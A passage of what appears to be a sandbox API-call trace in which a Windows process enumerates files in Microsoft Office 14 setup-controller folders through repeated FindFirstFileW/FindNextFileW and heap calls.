ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.460] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.460] GetProcessHeap () returned 0x550000 [0074.460] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.460] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0074.460] GetProcessHeap () returned 0x550000 [0074.460] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.461] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.461] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0074.462] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.462] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.462] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.462] GetProcessHeap () returned 0x550000 [0074.462] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.463] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0074.463] GetProcessHeap () returned 0x550000 [0074.463] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.463] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.463] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0074.464] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0074.464] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.464] GetProcessHeap () returned 0x550000 [0074.464] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.464] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0074.464] GetProcessHeap () returned 0x550000 [0074.464] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.465] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.465] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0074.465] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0074.465] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.465] GetProcessHeap () returned 0x550000 [0074.466] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.466] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0074.466] GetProcessHeap () returned 0x550000 [0074.466] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.466] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.466] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0074.467] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0074.467] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.467] GetProcessHeap () returned 0x550000 [0074.468] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.468] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0074.468] GetProcessHeap () returned 0x550000 [0074.468] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.468] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.468] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0074.469] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.469] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.469] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.469] GetProcessHeap () returned 0x550000 [0074.469] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.469] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0074.469] GetProcessHeap () returned 0x550000 [0074.470] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.470] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.834] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.834] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0074.834] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.834] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.834] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.835] GetProcessHeap () returned 0x550000 [0074.835] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.835] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0074.835] GetProcessHeap () returned 0x550000 [0074.835] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26d70c8 [0074.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.837] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.837] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0074.838] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.838] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x2c9e920 | out: lpFindFileData=0x2c9e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.838] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.838] GetProcessHeap () returned 0x550000 [0074.838] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26d70c8 | out: hHeap=0x550000) returned 1 [0074.838] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0074.838] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", 